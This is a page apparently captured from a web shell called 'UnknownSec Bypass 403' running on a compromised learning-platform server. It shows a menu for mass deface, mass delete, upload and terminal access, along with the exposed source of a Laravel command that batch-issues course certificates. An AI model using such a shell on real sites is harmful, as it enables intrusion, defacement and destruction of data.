UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_02f96e85ff03
/
app
/
Console
/
Commands
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
ReleaseCertificatesBatch.php
<?php namespace EstudioLMS\Console\Commands; use Carbon\Carbon; use EstudioLMS\Models\Auth\User; use EstudioLMS\Models\Courses\Course\Course; use EstudioLMS\Models\Environment\CertificateIssued; use EstudioLMS\Models\Student\CourseHistory; use Illuminate\Console\Command; use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\File; /** * Class ReleaseCertificatesBatch * @package EstudioLMS\Console\Commands */ class ReleaseCertificatesBatch extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'certificates:release-batch {course_id : ID do curso para liberação dos certificados} {completion_date : Data de conclusão no formato YYYY-MM-DD} {file_path : Caminho para arquivo CSV ou JSON com lista de emails} {--format=csv : Formato do arquivo (csv ou json)}'; /** * The console command description. * * @var string */ protected $description = 'Libera certificados em massa para alunos de um curso específico a partir de arquivo CSV/JSON'; /** * Execute the console command. * * @return int */ public function handle() { $courseId = $this->argument('course_id'); $completionDate = $this->argument('completion_date'); $filePath = $this->argument('file_path'); $format = $this->option('format'); $this->info('=== INICIANDO LIBERAÇÃO EM MASSA DE CERTIFICADOS ==='); $this->info("Curso ID: {$courseId}"); $this->info("Data de Conclusão: {$completionDate}"); $this->info("Arquivo: {$filePath}"); $this->info("Formato: {$format}"); // Validações iniciais if (!$this->validateInputs($courseId, $completionDate, $filePath, $format)) { return 1; } // Carregar dados do arquivo $emails = $this->loadEmailsFromFile($filePath, $format); if (empty($emails)) { $this->error('Nenhum email válido encontrado no arquivo.'); return 1; } $this->info("Total de emails encontrados: " . count($emails)); // Processar cada email $processed = 0; $created = 0; $updated = 0; $errors = 0; $total = count($emails); foreach ($emails as $index => $email) { $current = $index + 1; $this->info("Processando [{$current}/{$total}]: {$email}"); try { $result = $this->processStudentCertificate($email, $courseId, $completionDate); if ($result['success']) { $processed++; if ($result['created']) { $created++; $this->info("✓ Novo registro criado para {$email}"); } else { $updated++; $this->info("✓ Registro atualizado para {$email}"); } } else { $errors++; $this->error("✗ Erro ao processar {$email}: " . $result['message']); } } catch (\Exception $e) { $errors++; $this->error("✗ Exceção ao processar {$email}: " . $e->getMessage()); Log::error("Erro no comando certificates:release-batch", [ 'email' => $email, 'course_id' => $courseId, 'error' => $e->getMessage(), 'trace' => $e->getTraceAsString() ]); } } $this->line(''); $this->line(''); // Relatório final $this->info('=== RELATÓRIO FINAL ==='); $this->info("Total processados: {$processed}"); $this->info("Novos registros criados: {$created}"); $this->info("Registros atualizados: {$updated}"); $this->info("Erros: {$errors}"); Log::info('Comando certificates:release-batch executado', [ 'course_id' => $courseId, 'completion_date' => $completionDate, 'total_emails' => count($emails), 'processed' => $processed, 'created' => $created, 'updated' => $updated, 'errors' => $errors ]); return 0; } /** * Valida os parâmetros de entrada */ private function validateInputs($courseId, $completionDate, $filePath, $format): bool { // Validar curso $course = Course::find($courseId); if (!$course) { $this->error("Curso com ID {$courseId} não encontrado."); return false; } // Validar data $validator = Validator::make(['date' => $completionDate], [ 'date' => 'required|date|date_format:Y-m-d' ]); if ($validator->fails()) { $this->error('Data de conclusão inválida. Use o formato YYYY-MM-DD.'); return false; } // Validar arquivo if (!File::exists($filePath)) { $this->error("Arquivo não encontrado: {$filePath}"); return false; } // Validar formato if (!in_array($format, ['csv', 'json'])) { $this->error('Formato deve ser "csv" ou "json".'); return false; } return true; } /** * Carrega emails do arquivo CSV ou JSON */ private function loadEmailsFromFile(string $filePath, string $format): array { $emails = []; try { if ($format === 'csv') { $emails = $this->loadEmailsFromCSV($filePath); } elseif ($format === 'json') { $emails = $this->loadEmailsFromJSON($filePath); } } catch (\Exception $e) { $this->error("Erro ao ler arquivo: " . $e->getMessage()); return []; } // Filtrar emails válidos e únicos $validEmails = []; foreach ($emails as $email) { $email = trim(strtolower($email)); if (filter_var($email, FILTER_VALIDATE_EMAIL) && !in_array($email, $validEmails)) { $validEmails[] = $email; } } return $validEmails; } /** * Carrega emails de arquivo CSV */ private function loadEmailsFromCSV(string $filePath): array { $emails = []; $handle = fopen($filePath, 'r'); if ($handle === false) { throw new \Exception('Não foi possível abrir o arquivo CSV.'); } // Pular header se existir $firstLine = fgetcsv($handle); if ($firstLine && strtolower($firstLine[0]) === 'email') { // É header, continuar lendo } else { // Não é header, voltar para o início rewind($handle); } while (($data = fgetcsv($handle)) !== false) { if (isset($data[0]) && !empty(trim($data[0]))) { $emails[] = trim($data[0]); } } fclose($handle); return $emails; } /** * Carrega emails de arquivo JSON */ private function loadEmailsFromJSON(string $filePath): array { $content = File::get($filePath); $data = json_decode($content, true); if (json_last_error() !== JSON_ERROR_NONE) { throw new \Exception('Arquivo JSON inválido: ' . json_last_error_msg()); } $emails = []; // Suporta diferentes formatos de JSON if (isset($data['emails']) && is_array($data['emails'])) { $emails = $data['emails']; } elseif (is_array($data) && isset($data[0])) { if (is_string($data[0])) { // Array simples de strings $emails = $data; } elseif (is_array($data[0]) && isset($data[0]['email'])) { // Array de objetos com propriedade 'email' foreach ($data as $item) { if (isset($item['email'])) { $emails[] = $item['email']; } } } } return $emails; } /** * Processa certificado para um aluno específico */ private function processStudentCertificate(string $email, int $courseId, string $completionDate): array { // Buscar usuário por email $user = User::where('email', $email)->first(); if (!$user) { return [ 'success' => false, 'message' => 'Usuário não encontrado' ]; } $userId = $user->id; $isNewRecord = false; // Verificar/criar registro em course_histories $courseHistory = CourseHistory::where('user_id', $userId) ->where('course_id', $courseId) ->first(); if (!$courseHistory) { // Criar novo registro $courseHistory = CourseHistory::create([ 'user_id' => $userId, 'course_id' => $courseId, 'started_at' => Carbon::parse($completionDate)->subDays(7), // 7 dias antes da conclusão 'completed_at' => Carbon::parse($completionDate)->format('Y-m-d H:i:s'), 'approved' => 1 ]); $isNewRecord = true; } else { // Atualizar registro existente $courseHistory->update([ 'completed_at' => Carbon::parse($completionDate)->format('Y-m-d H:i:s'), 'approved' => 1 ]); } // Verificar/criar registro em certificate_issueds $certificateIssued = CertificateIssued::where('user_id', $userId) ->where('course_id', $courseId) ->first(); if (!$certificateIssued) { // Gerar token de 32 bits (16 bytes = 32 caracteres hex) $token = bin2hex(openssl_random_pseudo_bytes(16)); CertificateIssued::create([ 'user_id' => $userId, 'course_id' => $courseId, 'issue_date' => Carbon::parse($completionDate)->format('Y-m-d H:i:s'), 'token' => $token ]); } else { // Atualizar data de emissão $certificateIssued->update([ 'issue_date' => Carbon::parse($completionDate)->format('Y-m-d H:i:s') ]); } return [ 'success' => true, 'created' => $isNewRecord, 'message' => 'Processado com sucesso' ]; } }
Copyright © 2026 - UnknownSec